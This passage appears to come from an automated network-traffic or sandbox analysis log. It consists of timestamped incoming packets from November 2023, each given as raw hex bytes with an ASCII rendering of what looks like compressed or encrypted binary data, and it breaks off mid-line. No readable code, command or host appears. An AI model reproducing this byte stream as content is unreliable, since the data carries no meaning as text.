4d f9 4e 8b 73 37 9a 6f 20 79 c7 a8 72 d0 c7 78 b7 d4 04 b7 d1 92 c1 1a dc 94 46 5f 60 11 c1 1a 9c d2 45 ef 98 3c 0e ed 8e 6e a7 70 fd dc f6 b7 44 50 a8 3d 71 Data Ascii: VrrG]F]Y)"0\yR1 Cc&l6g>F&17u+q45w?Y-QR7`rOa7sb\/&R5Q1_5!Q][_0ByDFW=mH\.zMNs7o yrxF_`E<npDP=q
2023-11-17 05:22:24 UTC	2438	IN	Data Raw: 83 61 70 89 c1 1a 54 19 06 5f 70 f9 0a 5d 6f 79 ee fd 52 13 62 db 18 81 82 58 62 13 01 77 f0 f9 1e db 77 93 84 58 e0 12 06 22 f4 91 72 38 f3 ec 86 5f 70 e5 67 dc 0d 01 06 2b 60 ca 8d 0a f4 19 67 da 0c 6e 26 a0 8f 1a 43 df 78 f2 83 27 39 90 0f 12 e0 19 7a da 04 91 0f 50 54 27 93 5e 66 9e b0 5d 60 50 e6 1f 78 9a d6 50 c6 1c 87 53 b1 91 e7 4f 7b 40 8f 0a f8 f9 86 5f 72 91 06 b7 da aa 07 03 fd 91 1c 17 f0 fd 86 2e 7b 12 bb de 74 91 06 2b 56 1a 53 bf 22 1a 06 1a ac c1 8d 12 f8 c0 8d 1b e5 a1 06 55 22 1a 8b de 7d 79 86 0b fe 91 06 d6 f5 95 06 5a 28 7a 0c 98 f2 92 07 29 fb 13 02 d6 34 14 4a 5c 54 93 8d d2 f1 95 8f ff 3d 1d 8d 0a fc 11 ab 1b 31 9f c2 85 1f 93 54 53 fd 14 87 5c b2 c7 2a c8 00 54 50 1d 78 89 86 5c f3 ec 86 b3 70 e5 4e d4 3d 7d 06 6a fa d5 03 6a 1c Data Ascii: apT_p]oyRbXbwwX"r8_pg+`gn&Cx'9zPT'^f]`PxPSO{@_r.{t+VS"U"}yZ(z)4J\T=1TS\*TPx\pN=}jj
2023-11-17 05:22:24 UTC	2454	IN	Data Raw: 27 5d 91 a3 ad 6c bc a6 ad b3 63 fa 3e f4 7e 3a 1e a0 46 24 18 8e 79 e2 fa dd 85 f0 ee 3f c4 86 4f 63 83 03 8d 01 70 a4 10 ae 68 a0 0a ad 68 81 26 5a f3 f7 c7 7f d8 70 de 64 25 10 1f 2d 16 81 ea b7 b5 81 41 4e e4 81 f9 7b 80 95 7d e3 ec 79 3e 2f 77 d4 0d a3 5c 50 e6 7e 5d 95 2d 97 50 9b 35 8d f8 c4 fd fe d1 8d fc d5 3d 6a 36 44 8a b1 23 2d 89 b3 53 b7 c7 e1 16 4d 5d 84 03 19 67 95 1a 40 5d 62 1a 6e 87 8d 85 b3 60 d2 d8 43 d2 8d f6 d4 3d 61 e7 1d 9a 9f bf bb 32 51 e7 ed 6d 12 7b b7 70 15 72 4e c2 97 4b b7 98 aa c6 6c a8 18 43 bb 31 d2 c2 bd 94 f2 26 f3 69 91 8d 46 c8 91 e3 02 b2 99 06 93 25 1a 06 b3 1a 91 8d 12 78 79 15 5f 70 91 06 02 b2 95 06 93 73 9a 06 5f 0c c0 8f 12 8c 1a 4b 5f 8c 79 17 5d 70 91 8d 1a 30 99 85 bf 71 e5 0a 5f 4c c0 06 b7 66 5b 02 5f f3 Data Ascii: ']lc>~:F$y?Ocphh&Zpd%-AN{}y>/w\P~]-P5=j6D#-SM]g@]bn`C=a2Qm{prNKlC1&iF%xy_ps_K_y]p0q_Lf[_
2023-11-17 05:22:24 UTC	2470	IN	Data Raw: 0d 40 3a dd c7 4b 28 50 12 20 f4 50 12 37 d3 33 17 fe 70 18 83 3b 93 88 53 5d 75 3b 4e 5e 75 e1 07 5a 26 93 03 3f 72 8e 57 fe 70 18 8b 03 73 94 50 5d 75 d5 53 5e 75 11 07 5a 5d 93 03 07 77 8e 52 1b fb 1c 67 4d 98 f5 90 5e 6f c5 e5 1d 7d 30 06 d6 f5 c1 02 40 91 91 05 40 af b0 07 7f 7b 98 19 de 71 93 19 1b b0 c7 05 40 a4 1d 50 5b 6f ad 05 5a 27 93 19 de 71 b0 03 40 71 1c 8b 6b 11 9f 36 95 e5 9a 19 6f b1 85 8a 9e 64 17 85 9e 64 d7 4a fd 61 30 06 d6 f5 d9 e5 46 28 c4 04 5a 5c 90 03 fb 71 94 5b 5d 75 d5 a5 5d 6f 30 06 d6 fd d1 05 5a 29 93 03 f5 58 90 03 ef 71 94 32 5d 75 ad 01 40 f8 c6 8d d2 11 83 ee 34 e5 90 19 99 48 d3 0b fe 70 18 83 6b 74 8e e7 5f cf 92 19 7e 71 b1 0d 56 6f 10 07 5d 6f da c6 09 d0 fb 56 b7 e6 c4 a2 41 50 32 02 71 2a 33 18 de 71 37 fe 47 b1 Data Ascii: @:K(P P73p;S]u;N^uZ&?rWpsP]uS^uZ]wRgM^o}0@@{q@P[oZ'q@qk6oddJa0F(Z\q[]u]o0Z)Xq2]u@4Hpkt_~qVo]oVAP2q*3q7G
2023-11-17 05:22:24 UTC	2486	IN	Data Raw: 8f 0a a0 1a 53 ff 70 49 87 7f 2f 18 43 83 1a 92 6c 3f 63 93 da 7f 01 49 54 b7 f4 5e 05 5d 70 f1 59 d6 35 71 8d 1a 90 09 c1 1f 50 30 12 7c 79 12 bf 1c 66 33 34 5f 49 c4 e6 0d 74 86 8e de 72 09 57 b7 b5 53 00 db 6b 10 c4 de 72 19 54 b7 42 13 04 5b 9b c3 e6 05 50 48 e8 82 6c b5 f3 5f fd d4 06 d3 20 79 3a 47 8e 6e bf 5d 78 50 0b af fd ec aa ac d5 b1 6c 5f f3 7d 26 5d 72 1c 73 5f dc 1a fa ac d5 1a 4b bf 18 c0 ee 51 12 9b 2e 5c 7d d1 12 d6 56 13 67 52 3a 89 c7 91 34 89 d2 d4 a4 d4 d2 13 68 c5 41 47 a4 d7 1e de 72 89 57 b7 72 da 1e de 72 c3 ee 30 e1 f3 0f 5b 9b ca 58 47 f5 dd c6 59 e0 c1 ee 29 67 36 1e e2 1c d1 04 52 7a 88 b3 7e 72 f2 1f 8b 21 79 44 3c f2 9a 60 46 a4 18 84 de 7e 7b 30 b8 3a 9d 2b 66 c5 b8 04 57 75 b1 04 fc 26 95 c6 2d 39 95 b4 d1 76 11 27 5d fd Data Ascii: SpI/Cl?cIT^]pY5qP0\|yf34_ItrWSkrTB[PHl_ y:Gn]xPl_}&]rs_KQ.\}VgR:4hAGrWrr0[XGY)g6Rz~r!yD<`F~{0:+fWu&-9v']
2023-11-17 05:22:24 UTC	2502	IN	Data Raw: f1 87 6b 51 85 d3 b0 90 ad 4d 88 39 85 9f 69 05 07 c8 83 91 fc 57 82 90 02 a5 71 12 c6 7a 72 ec f3 5f 7c 66 06 a9 44 00 4a a0 44 61 29 13 7b 61 af 9e 22 1e 97 cb 70 18 43 ab f1 d2 af d6 25 69 c0 1a 8f 61 53 6f 84 c1 ee 3b 70 b5 a4 dc 05 c2 de d4 25 65 96 5e 22 90 b8 1e 08 d3 b9 59 34 31 83 0d 28 3a 4e ad 8f 19 54 1a e0 cf 53 a0 a0 cd 16 3d 72 a6 25 0e ba d1 30 eb 9b 9f c6 5c 22 79 00 18 81 91 76 59 c4 1a 4b eb f9 91 4b ab 9b 0c 35 8d 04 a7 86 99 35 7a 07 d2 35 7a 65 07 d0 c4 fe 0d fa d4 67 39 90 53 59 f9 56 50 64 7e 29 1c 13 8c 1c 71 c6 74 24 78 dd 8d 1c 29 06 6a 88 01 04 b3 f4 79 46 2f 05 9e b0 12 8f d1 0c 1f 72 7a 54 d2 25 49 14 3f ea d3 ea ad 1a 7d ee 5e 9e b4 aa 71 f0 57 43 88 71 1c 4b 88 94 a9 b8 a7 30 f5 c7 6d 82 ee 37 3a e1 97 25 cc 76 41 ed 26 9b Data Ascii: kQM9iWqzr_\|fDJDa){a"pC%iaSo;p%e^"Y41(:NTS=r%0\"yvYKK55z5zeg9SYVPd~)qt$x)jyF/rzT%I?}^qWCqK0m7:%vA&
2023-11-17 05:22:24 UTC	2518	IN	Data Raw: 27 bc 61 6d ee 87 90 85 09 b2 51 76 8f 3f 00 10 25 d4 20 d5 f9 31 a2 9e 92 a0 63 66 15 49 83 82 e6 74 de ca fb ea b1 b8 ca 9f 67 f1 21 5d 75 00 32 47 98 1e 0c 5d e1 72 b2 6f 98 11 65 9c 71 32 05 73 98 e0 c6 5e 98 03 e4 08 72 e8 eb cd 93 9e e8 a2 4b 94 27 57 70 de 16 5b 89 8c 07 56 c4 97 63 5f 68 f2 36 83 98 c7 e5 5f 00 85 74 55 37 71 06 00 6f fa c9 0e 88 89 05 4e 64 1e 07 db e1 8a 1a 61 5b 6e 2f a0 68 6e 1e a0 68 68 1e d9 71 7e f9 47 89 b3 54 58 f0 92 ae 2c fc 64 24 af 62 7d 25 21 8f 83 fb 2a c2 31 85 a0 05 83 65 b7 47 6e fb a6 05 b9 e6 5f 42 e2 d5 2c 8f a0 75 8c 03 80 73 80 03 5b 15 a0 fe 6e 17 a7 fc 5d cb 94 8f 1d ff 5e 3d 5b f9 5e 85 82 c8 ae c3 92 f9 c7 88 92 1b 93 8f 92 f0 56 0e 8d f9 56 8f ce f9 5e 83 c9 a2 4b 3a c6 fe 1e b0 ab 3d 0e 74 ec 12 af 02 Data Ascii: 'amQv?% 1cfItg!]u2G]roeq2s^rK'Wp[Vc_h6_tU7qoNda[n/hnhhq~GTX,d$b}%!*1eGn_B,us[n]^=[^VV^K:=t
2023-11-17 05:22:24 UTC	2534	IN	Data Raw: 8d ca d1 91 3d 0a 60 91 09 d2 32 92 06 5f f3 2c 27 9e 71 95 7b 51 fb d3 00 d6 f5 33 82 ff 70 7a 0c 98 92 91 02 fd 14 80 27 5e f9 1c e2 dd 33 6d 8f ca b6 61 07 5e 92 d6 8f da 98 d3 25 5e 6a 89 8f d2 90 13 0d 9e 66 18 93 b3 81 f1 07 98 f5 4d 61 4f 12 90 c4 2f 71 90 12 d4 fd 30 06 64 12 9b 09 d0 2e 42 44 fb 51 93 f1 85 36 1c 86 fd f1 30 06 a0 33 92 c0 fc 92 95 46 d2 92 99 cb fc 11 82 67 3b c7 70 06 3e 06 f0 22 5c 92 96 44 7c 0c 13 0c bc d1 91 e5 58 ac 1d cb 7d d3 b3 02 1c 7b 3f 8d 3d 41 b1 7a 7c d3 50 a6 55 e5 30 1a 10 51 e4 e7 5f 51 e4 44 4f a9 1a 64 1f 7f 51 b0 5b 7a 18 83 27 72 9a a7 5f 2f 97 0d 5d d3 34 1c 1b 7b 92 a5 9a 73 32 d7 e0 31 9a 87 79 31 9a e7 5f 31 9a a7 67 73 d3 0e 42 52 ac 72 bd 7a 30 06 1c 78 4d 8a 9a df f3 a4 fc 6f 55 10 3c d2 5c 66 fd a0 Data Ascii: =`2_,'q{Q3pz'^3ma^%^jfMaO/q0d.BDQ603Fg;p>"\D\|X}{?=Az\|PU0Q_QDOdQ[z'r_/]4{s21y1_1gsBRrz0xMoU<\f
2023-11-17 05:22:24 UTC	2550	IN	Data Raw: 62 fc 71 a3 8f 12 f4 79 02 21 6a 91 08 1a cc 1c 43 57 f0 c1 8b 12 cc c0 ee 11 70 8f 46 dc b4 99 09 e9 a0 91 f2 49 79 90 10 b7 1b 93 14 5b 99 28 04 0f 70 91 ef eb 70 95 8d 5f 47 77 86 40 70 91 83 9f 04 aa 07 54 62 4b 06 54 fb 61 07 56 e0 b1 06 5f 70 aa f6 2c 55 1c 4b 57 e0 c0 ee bc 69 93 31 d5 a8 90 1f 5f e6 b0 06 5f f8 89 8d 1a 58 99 ef 2d 71 d7 6b 5e 36 c4 82 5f f3 eb 4a 5f 05 9e ee a6 59 91 2f b6 2a 90 11 0a 71 86 43 db 30 12 7e 63 70 e4 3b 5f 47 1a 2e 0e 3c c3 04 1d e6 92 20 0f 98 91 3b 69 70 91 09 e9 b8 14 04 96 70 1d 53 57 f9 c4 86 b4 78 99 ee e6 70 9f 8f 1a f0 1a 56 1a f0 78 12 de 52 9e 06 5d b7 c9 43 af 78 11 77 5d 6e c8 05 41 f8 91 43 b4 1a 91 6c 57 fd dc c6 9b 8f 84 7a ec 23 90 ae 5e f3 91 8b 12 94 c0 8b 0a c4 c3 03 dd 7b e9 86 54 fb 59 ee 18 3b Data Ascii: bqy!jCWpFIy[(pp_Gw@pTbKTaV_p,UKWi1__X-qk^6_J_Y/*qC0~cp;_G.< ;ippSWxpVxR]Cxw]nAClWz#^{TY;
2023-11-17 05:22:24 UTC	2566	IN	Data Raw: 3c de 67 bc 8c 1d a3 d1 07 df 67 15 80 1d bc c0 ae b7 b4 fc 87 48 00 10 11 ca 31 90 8e d6 e5 fd 85 48 78 1a 8b 1e 72 b5 ee 4c f8 86 cb 27 f5 86 ca b7 3c 4a e1 d7 35 90 06 b6 04 12 11 ff d1 57 24 97 22 79 63 9d 7b f9 c7 54 61 33 06 d6 f5 f5 c5 54 79 1a 8b 06 51 90 ee eb b0 99 c3 54 1e 57 0d 97 2c 79 7a 9e 7b 14 25 9d 7b 84 c5 54 b0 30 80 7c b4 c1 ee 59 b2 9a 66 dd 53 00 a7 5f f9 1c 5a 9c 7b 9b 8d 7d 71 85 ee 0a b8 9a 09 99 7b 55 ee 42 c7 50 0d da 53 53 0d e9 f0 91 c6 54 a4 17 25 4f b0 c0 ee f8 90 e7 8f da 28 b2 84 7c d1 91 8f ca 24 52 0d 54 fb b3 8b 7e 71 79 f0 b9 b7 9a b6 28 41 54 0d 9f 98 2f e6 5d fa b2 ed 05 f5 f1 0d b7 56 b2 ba 0d 98 da 64 54 36 c1 24 7c d1 91 8f da 3c f2 0d 53 d4 1a 8b 7e 71 79 9c 37 7b c5 60 54 08 2d ee 3d 11 9a 2f 7c d0 1c e6 5a 8f Data Ascii: <ggH1HxrL'<J5W$"yc{Ta3TyQTW,yz{%{T0\|YfS_Z{}q{UBPSST%O(\|$RT~qy(AT/]VdT6$\|<S~qy7{`T-=/\|Z
2023-11-17 05:22:24 UTC	2582	IN	Data Raw: 47 5e f5 61 46 5e 38 1a 0b 1f 11 90 8b ab 10 90 60 57 fb 84 42 df 71 f7 8f ca 88 c8 a6 5e 18 63 a6 59 f1 b0 fc df 71 c1 6a b7 bd b1 75 df 51 f9 47 d4 b3 87 85 1f b1 99 57 d2 e5 15 26 5e 22 99 ee 1a 39 33 05 d4 f5 35 fc ce 70 92 ee 5e f9 93 07 d2 fd 30 0b 7a f0 95 9e de 74 f9 32 1f 77 1c 83 de 11 90 56 b7 80 f0 ff a0 f2 b0 45 df 79 30 1a 0e 8f 84 aa bd 53 1c 4e 0a 80 c3 84 53 fd 14 47 54 20 f4 c0 5c 70 51 05 d4 e5 10 07 7f 4d 6d 28 ee f0 90 a4 7d 33 d0 06 f4 6e e3 9e 5f 82 6e 8d 12 84 f5 8f 52 71 b0 31 06 fb dc ea 6c bd 79 b6 d0 34 90 06 f5 2e 72 45 e8 99 d2 e8 9f b0 91 e2 1c f9 d2 32 be 23 11 ad 9c 1d c9 4b 53 b7 71 3a 5f 71 04 e7 5d f3 35 bc 03 71 81 73 58 90 1f 74 bf 72 11 6c 5e 1a d1 6c 7f fb f3 00 d6 54 aa 95 2a 50 aa 8b d2 14 b1 04 2f 98 06 10 a0 31 Data Ascii: G^aF^8`WBq^cYqjuQGW&^"935p^0zt2wVEy0SNSGT \pQMm(}3n_nRq1ly4.rE2#KSq:_q]5qsXtrl^lT*P/1
2023-11-17 05:22:24 UTC	2598	IN	Data Raw: fe f4 72 13 46 5e b0 55 02 8f b8 98 f6 1e ea 83 16 1e ea 94 7c 9f de 49 db 02 48 29 ed 59 30 19 c6 5e f1 ba 4b e7 77 51 98 1f c5 59 a5 58 a9 7f db 02 68 21 ed 40 70 82 85 5b 75 eb 01 45 a9 71 03 f7 91 97 66 5a d8 4c 43 fd d8 91 02 82 35 21 e2 59 68 37 0d 8f 90 4c 5b ff d1 95 c6 bf 70 90 26 0b 3d 31 b5 54 e8 3e 0d cf d4 9a 96 d7 ad d4 96 5f 74 4c 43 c7 94 97 44 7f d6 9a d6 82 2d 19 a7 5b 80 82 e6 5f 31 bb 4b d7 c3 9a 86 b4 58 b4 ae 54 7a 31 0d c2 08 31 30 b4 79 82 07 53 32 90 db da d2 91 5b df ad 25 43 df 32 eb 0e 36 2e 73 5b 2f 8f cc 0b ba 2d c9 a6 d7 f5 ed ba 84 35 2d 03 da 0c 51 e2 0a f9 dc be 84 35 9b be fa 72 59 46 08 7f 27 44 5d 30 18 43 eb ab d4 b2 fa 72 41 15 1f 0b f1 11 43 54 79 06 82 75 e1 49 9e 4e f2 07 3f 5a b1 79 ce 8d 50 10 87 23 01 03 d9 76 Data Ascii: rF^U\|IH)Y0^KwQYXh!@p[uEqfZLC5!Yh7L[p&=1T>_tLCD-[_1KXTz110yS2[%C26.s[/-5-Q5rYF'D]0CrACTyuIN?ZyP#v
2023-11-17 05:22:24 UTC	2614	IN	Data Raw: d6 5c 7f 11 b0 17 72 aa d7 21 43 d0 36 0e 80 0e dd 1a fc f4 05 d5 10 92 8c de 14 92 82 86 1d 15 dd 02 20 09 86 d5 fa d4 86 d7 f5 ee a7 29 b2 9d a7 51 21 93 8e ca a1 91 77 57 52 1c 87 5f f8 d9 04 ff 78 12 c4 8d 73 b1 3b b6 7c 80 88 f1 61 1f 13 77 79 61 21 0e f9 d1 4c 12 8c 79 b7 dd 9f f0 05 57 f3 71 07 2b d0 95 e6 a3 21 79 50 01 03 ef a6 73 76 ba 07 af 72 fb f9 37 33 35 55 5f 74 f5 a7 6e 54 c1 85 b3 48 30 06 e7 c6 c8 06 6c b5 c1 8b 2f 35 65 62 fc 31 90 f6 23 94 c4 6c 17 72 fb 06 af 13 d4 1a 0f 22 89 06 0e 21 1a ca d6 15 7d 8b 5f 25 85 54 b7 74 1f e9 a0 19 40 93 1a a8 d1 1b 99 80 b5 b4 5e 98 b5 8b 0a f0 f4 ee d2 c1 90 d6 d4 5c d4 d6 df 6d 21 07 5b c2 90 e2 d2 d0 c4 0a 0d 98 5d b4 5e b8 e1 0c 59 20 01 07 9f 59 4d ee 56 a0 6a 13 7f 71 55 e6 5f 75 71 06 98 71 Data Ascii: \r!C6 )Q!wWR_xs;\|awya!LyWq+!yPsvr735U_tnTH0l/5eb1#lr"!}_%Tt@^\m![]^Y YMVjqU_uqq
2023-11-17 05:22:24 UTC	2630	IN	Data Raw: 53 ed 79 ed 54 5f f0 c3 06 db 22 91 8e 0a 22 91 8a 0d 70 01 54 5f e4 c3 06 c7 25 c3 06 c3 22 91 a6 0d 70 35 54 5f d8 84 54 5f dc c3 06 ef 21 91 72 7b 60 10 3f 5f 18 b3 31 0d 70 f9 b7 1a 34 79 45 ef 6a 12 c2 47 61 be 51 4f 26 c2 35 a0 40 bb 12 54 b0 99 7b 4b 37 11 20 4f 87 49 f1 35 aa 51 21 d6 40 90 8f bf 70 21 07 43 65 24 07 47 c7 90 1a ef 71 89 0d 9f 7c e4 1e 6f 99 a0 28 4b 43 43 f1 47 81 1a de 8e 5e e1 06 8c 9b d0 09 ef 70 00 07 cf 5b a0 07 8e 9b 40 df 5f a1 7b d7 87 7b 4a 73 ab 71 61 07 af 87 f5 22 43 fb 59 07 cf 71 89 f1 b9 73 40 74 51 f2 aa 76 5d 07 99 74 58 4b 21 04 5f 06 90 48 6c a2 1a c0 10 30 e4 01 a8 aa 66 de 5f 40 ca 6a 01 2f f1 3d bd 49 5d 26 5c 11 61 16 1b 7b 59 56 5f 7c e4 0f 3e 84 66 a4 be 90 90 55 a8 91 73 01 57 d0 94 82 4b 73 02 06 be 73 Data Ascii: SyT_""pT_%"p5T_T_!r{`?_1p4yEjGaQO&5@T{K7 OI5Q!@p!Ce$Gq\|o(KCCG^p[@_{{Jsqa"CYqs@tQv]tXK!_Hl0f_@j/=I]&\a{YV_\|>fUsWKss
2023-11-17 05:22:24 UTC	2646	IN	Data Raw: 04 22 5a ba 86 5c 76 a5 c2 5f 65 2a 07 4a 68 70 0b 5f 65 3a 86 5b fa 37 ca 93 fb dc 4e af 99 69 8e 6b 3a 69 86 47 f9 a4 87 47 34 10 1e 26 fd 89 87 48 a8 6c 06 b0 8f f9 c6 39 31 91 6c 5f 20 f9 c2 5e 70 91 8d 1a f0 61 85 9f 5c c1 ee 37 b0 a0 ad 18 3a 90 14 1f 71 83 7e 5e 62 a1 02 4d d9 d0 58 d7 aa d9 58 c7 f0 98 1f d9 45 db 09 5e 7c 35 07 53 8f 06 04 53 fd b1 4b 57 99 79 ee 98 7b 1b 36 55 87 d3 44 b9 f0 96 8d d5 2c 6e a3 5d 73 48 06 5c c8 41 47 52 b9 d2 0b ea bb ba 2e 8b 5b 29 06 44 bb ba 96 5e 62 25 02 bd 70 83 86 5b 62 53 3d 5f bc d6 2c 36 f1 98 36 de 79 c8 c8 44 35 75 ae 0f 98 ac 46 5a 29 d6 10 b7 f0 9d 6c 69 f1 9d 5a de 7c b7 8c 53 f1 5d 7e c9 b8 5c b9 5e 7b 19 07 54 89 07 07 28 78 71 ef 0a f0 99 8b 12 a8 78 90 12 f9 9b 47 8a ae 91 0e e7 cc 10 0c 1d be Data Ascii: "Z\v_e*Jhp_e:[7Nik:iGG4&Hl91l_ ^pa\7:q~^bMXXE^\|5SSKWy{6UD,n]sH\AGR.[)D^b%p[bS=_,66yD5uFZ)liZ\|S]~\^{T(xqxG
2023-11-17 05:22:24 UTC	2662	IN	Data Raw: f9 5c 4d 42 06 56 58 29 86 01 70 ac c5 5f 79 1c 4b 17 a0 78 c9 57 5f db c2 5f 52 21 53 59 5c 37 07 73 dc 90 2a c9 72 bd 96 db 99 33 06 73 fd 1c 5e a0 70 f6 ac c8 72 9b 32 5e 7a 1d 0f 2d 6c 91 17 0a 70 aa 6c 5d 35 29 86 5b 10 10 24 b7 75 10 24 0f f1 98 83 d7 8d 6e f9 5f f3 71 07 50 f4 9e 06 5f 78 91 85 fa 71 96 f8 d4 3d 99 02 b6 36 11 24 9c fd dc d2 b6 3a ac 84 73 d8 11 0d b6 42 93 03 d3 c5 90 03 78 79 a3 7a df 78 91 2b 5a 72 a3 94 a3 f0 95 fd 47 70 a3 2a 00 70 a3 04 b4 f0 95 8b 12 60 78 f1 05 3b 91 1b df 1f 7e 87 5c fd 01 07 7e 94 84 04 5a 04 90 03 86 70 94 8d da 00 c6 0d 1a 71 96 04 1a cb 11 08 9c 76 a7 66 f2 73 a7 9e 5f 5c 92 30 d1 71 a7 56 5e 46 33 78 5e 46 1c fa a1 f0 b9 81 5d 5e 1b e6 5e 75 ed 04 62 bc 78 72 5d 79 3b c2 de 74 f8 84 5d 08 d0 4d 01 f2 Data Ascii: \MBVX)p_yKxW__R!SY\7sr3s^pr2^z-lpl]5)[$u$n_qP_xq=6$:sBxyzx+ZrGpp`x;~\~Zpqvfs_\0qV^F3x^F]^^ubxr]y;t]M
2023-11-17 05:22:24 UTC	2678	IN	Data Raw: 39 bd 70 71 39 bf 70 73 39 30 92 91 e6 60 92 91 e6 60 66 7c 39 be 7a 19 7b be 7a d0 26 5e 92 ae 4f 5b 92 ae 47 5b 94 8c 47 5b 6e b1 07 bd 4f 33 0a b7 99 e3 17 bd 70 75 ef 35 92 91 e6 b6 12 80 e4 5f ac 78 5c bd 70 49 ef 0d 61 73 06 8b 99 db e4 5f a0 78 44 ee 92 91 ca b6 4a 30 17 1a 7c 15 46 53 d4 5a a4 1f 7c 99 e7 1f 7c 2a 26 5e e5 61 41 57 94 8a 06 bb 6b 69 d5 fe 08 cb 1e fe 08 7c 44 5e 32 3d e4 1d 71 69 df 7f 09 78 01 ff 68 d0 13 90 30 93 82 df a4 95 d4 f7 f5 71 e5 61 22 71 00 8c 01 fb 4e 7e 78 e5 27 57 48 bd 0e ae 77 19 8d 3e 74 61 01 df 02 91 0a b6 08 00 00 1a 90 94 76 2d 70 7d ef 37 02 91 e2 17 99 01 13 a3 65 60 a7 3f 75 49 6b 3e 75 70 96 5f 51 92 6b 76 72 60 13 91 19 b0 04 6b 92 b1 04 e1 e0 91 77 4a 6a 3a d7 5b 55 93 c6 7f 72 3a 27 5d 10 b0 04 1d eb Data Ascii: 9pq9ps90``f\|9z{z&^O[G[G[nO3pu5_x\pIas_xDJ0\|FSZ\|\|*&^aAWki\|D^2=qixh0qa"qN~x'WHw>tav-p}7e`?uIk>up_Qkvr`kwJj:[Ur:']
2023-11-17 05:22:24 UTC	2694	IN	Data Raw: 89 6b 13 11 25 3a f0 93 dc 34 f2 96 59 9b 1a d0 01 39 a2 d2 db 54 8f d8 23 82 7a dc 2c 82 7b 40 4f 92 7c c4 28 88 79 6e cd 0e a7 98 c9 0a a7 9b d9 06 b9 13 e3 73 a3 9d f9 84 5f 42 0a 80 42 62 00 a0 6a f2 30 a0 36 74 02 f0 8f d4 f9 1b 95 95 f9 1c 2f b1 07 3a 10 82 f8 2b 52 9f fb 72 1b 94 fd 73 1b 94 f9 74 9b 94 f9 a0 5a 78 37 a0 34 f8 03 a0 33 f6 03 a0 66 7a 03 a0 8f 87 69 e0 0b 86 fb 92 8f 94 79 47 8f 40 69 59 8f e8 c2 26 75 68 5d e6 66 e8 03 a0 2c 7a 32 20 67 6e f9 59 0f 9d 39 5c 8f fe 39 52 0f 92 79 5c 8f 9c f9 e0 73 6e 77 a0 54 ea 04 20 54 ee 04 a0 03 2e 04 fc c9 93 99 55 33 91 4b af 70 f8 d6 5e 12 d5 36 5e 17 91 3c 4f 70 ac 07 77 fc 91 2f 2d 75 2e 04 65 70 ef d9 5d d3 43 04 e0 72 ab 06 10 a0 91 4f 6f 70 4b 6f 0f 63 d5 56 5f 61 81 69 a7 75 80 05 f7 1e Data Ascii: k%:4Y9T#z,{@O\|(yns_BBbj06t/:+RrstZx743fziyG@iY&uh]f,z2 gnY9\9Ry\snwT T.U3Kp^6^<Opw/-u.ep]CrOopKocV_aiu
2023-11-17 05:22:24 UTC	2710	IN	Data Raw: b6 c6 27 91 96 4b 09 d9 84 4e 16 93 06 66 30 c3 86 e7 6e 14 ed 0e 74 d1 87 56 f0 f3 67 3b 50 f2 67 2c 72 1b ac 1a f0 a5 74 df 2f e3 86 5a 55 11 3e 09 55 11 30 5e 70 c1 86 5f 3d 13 47 2c 21 13 95 3a 70 d3 86 4d 08 11 31 36 25 11 a5 36 f6 d0 42 df 7a df 86 5e 04 c5 06 1e f0 85 6d dd 79 bf 86 37 1c ba 82 26 dd b8 36 df 77 b4 86 5d 48 91 c0 07 e6 be c7 4b 50 91 3b 9f 70 d2 10 f5 4c d1 29 36 b0 82 6e 1f 79 af 44 58 c8 ad 06 70 ba 95 c7 57 31 cf 64 9d 3f 49 26 5f 13 d1 07 9e 24 e1 44 28 b1 13 ac 31 b0 9b 3b 9d 63 af c4 55 02 55 07 f1 14 d1 0d 98 19 d6 0e 36 b0 81 69 1f 7d fb 26 1d 0a ff c4 37 15 51 01 9c 5f c9 fb 9d 78 be c4 50 b5 80 41 79 35 94 47 5d b3 88 89 1e 72 d4 21 1e 5b 9e 06 10 70 da c4 5e 9e d2 44 44 b3 be 07 5f 39 51 2b 9e c5 50 8d 1a 71 91 54 9d e8 Data Ascii: 'KNf0ntVg;Pg,rt/ZU>U0^p_=G,!:pM16%6Bz^my7&6w]HKP;pL)6nyDXpW1d?I&_$D(1;cUU6i}&7Q_xPAy5G]r![p^DD_9Q+PqT
2023-11-17 05:22:24 UTC	2726	IN	Data Raw: dd 65 8f e9 f9 27 8f 6e 7e 20 4c ee 3a 20 4c ee 3a 20 4c ee 3a 20 4c 86 79 63 19 97 05 5f 2e f3 7a 5f 70 d5 07 bb 70 ff 46 1f d4 c6 06 7f da 5e f1 cf f0 f1 8a cf 11 1f bf bf ff 53 bc 3f fe 2a 49 5f 00 f1 06 be e0 5b 86 bf 70 21 66 5f 90 5b e6 5e 72 91 04 0b 93 9b e6 20 30 fb ba 2b 30 02 1e 5b 80 ae 45 fd 61 f2 56 5f 1b 91 52 ff 56 e1 a4 4b 34 64 62 48 24 b1 18 32 90 91 2b 4a 97 92 23 59 df ee 00 ba 72 ee 00 38 76 d7 e2 07 23 b5 b2 04 0f 97 67 19 11 33 1f 3e 5e fe a6 18 1e 72 a6 0a 8f 97 06 5f 20 31 03 fc 3b f6 66 a0 0d 97 79 78 0f b6 f9 53 0f b6 79 78 0f 97 79 78 9f ee 21 e0 63 ae 05 6a 73 d0 34 12 61 ab bd 5f 9a b4 d6 5d 5f c1 06 3b 22 91 f5 1e a5 91 bd cc 71 a4 07 06 48 90 75 55 0b 93 5f 6d 71 73 26 2d 71 d8 06 65 20 91 56 6d 20 91 5c 2f c4 93 4e 6b 71 Data Ascii: e'n~ L: L: L: Lyc_.z_ppF^S?*I_[p!f_[^r 0+0[EaV_RVK4dbH$2+J#Yr8v#g3>^r_ 1;fyxSyxyx!cjs4a_]_;"qHuU_mqs&-qe Vm \/Nkq
2023-11-17 05:22:24 UTC	2742	IN	Data Raw: 06 6d 14 b1 e2 fe 71 7f 4d 5f c3 70 31 5d b8 7c c3 2b 70 30 45 d8 bd a7 31 8f 61 95 98 36 80 93 d1 9e 2b 91 9e 4f 3b 10 8e 43 88 d1 00 e3 00 91 60 09 a3 80 a7 db 70 81 06 05 9f 0e 35 8f 26 81 36 5f 8f fc d4 4e ee 7a 06 3f 70 99 05 c1 47 31 b6 55 c8 95 10 2b 87 91 16 02 ce f3 ed 55 10 61 11 64 83 86 31 8b 65 d2 02 d3 2b 66 06 4f c3 9a 80 5e 76 cc f9 5f 85 91 f7 3c 48 99 d8 45 00 61 06 1f 8f 91 f4 43 d7 48 35 eb b8 01 f6 5f 33 6e 06 ae 70 f0 f9 5f 7d 6b 06 3d 8f 91 fc 5f 91 c9 f7 bf 44 95 cd af 70 df f9 5f 81 91 54 7b 70 6f 48 d5 66 40 17 e3 06 80 f6 4d c9 d4 